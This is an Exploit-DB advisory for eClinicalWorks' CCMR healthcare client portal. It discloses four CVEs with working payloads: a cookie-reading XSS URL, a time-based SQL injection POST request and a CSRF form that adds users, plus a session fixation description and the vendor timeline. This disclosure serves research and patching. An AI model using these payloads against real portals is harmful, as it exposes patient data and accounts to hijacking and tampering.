Exploit-DB #39402
Description: eClinicalWorks (CCMR) - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2016-02-02
Author: Jerold Hoong

Exploit:
# Title: eClinicalWorks (CCMR) - Multiple Vulnerabilities
# Vendor: https://www.eclinicalworks.com
# Product: eClinicalWorks Population Health (CCMR) Client Portal Software 
# URL: https://www.eclinicalworks.com/products-services/population-health-ccmr/
# Credit: Jerold Hoong

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# CVE-2015-4591 CROSS-SITE SCRIPTING
Cross-site scripting (XSS) vulnerability in login.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary javascript via the strMessage parameter.

https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/login.jsp?strMessage=
%3Cimg%20src=/%20onerror=%22alert%28document.cookie%29%22/%3E

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# CVE-2015-4592 SQL INJECTION
SQL injection vulnerability in portalUserService.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary malicious database commands as part of user input.

Parameter: uemail (POST PARAMETER)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=

POST /mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp HTTP/1.1
Host: 127.0.0.1:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/dashBoard.jsp
Content-Length: 186
[SNIP] ...
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
[SNIP] ...

action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=

-------------------------------------

# CVE-2015-4593 CROSS-SITE REQUEST FORGERY
Cross-site request forgery (CSRF) vulnerability in portalUserService.jsp in eClinicalWorks 
Client Portal allows remote attackers to hijack the authentication of content administrators
for requests that could lead to the creation, modification and deletion of users, appointments
and employees.

# ADDING OF USER
<html>
  <body>
    <form action="https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp" method="POST">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="uid" value="0" />
      <input type="hidden" name="createdOver" value="1" />
      <input type="hidden" name="ufname" value="John" />
      <input type="hidden" name="ulname" value="Doe" />
      <input type="hidden" name="uminitial" value="" />
      <input type="hidden" name="selUserType" value="1" />
      <input type="hidden" name="status" value="0" />
      <input type="hidden" name="upaddress" value="" />
      <input type="hidden" name="upcity" value="" />
      <input type="hidden" name="upstate" value="" />
      <input type="hidden" name="zipcode" value="" />
      <input type="hidden" name="uemail" value="johndoe@test.com.de" />
      <input type="hidden" name="upphone" value="98999299" />
      <input type="hidden" name="umobileno" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

-------------------------------------

# CVE-2015-4594 SESSION FIXATION
The web application is vulnerable to session fixation attacks. When authenticating a user
the application does not assign a new session ID, making it possible to use an existent
session ID.

-------------------------------------

# TIMELINE
– 16/06/2015: Vulnerability found
– 16/06/2015: Vendor informed
– 16/06/2015: Request for CVE IDs
- 16/06/2015: MITRE issued CVE numbers
– 16/06/2015: Vendor responded requesting more information on support contract etc
- 21/06/2015: No support contract, vendor does not open case
- 22/06/2015: Requested update from vendor, no response
- 01/07/2015: Contacted vendor again, vendor requested for support contract again
- 02/07/2015: No support contract, no response from vendor
– 31/01/2016: Public disclosure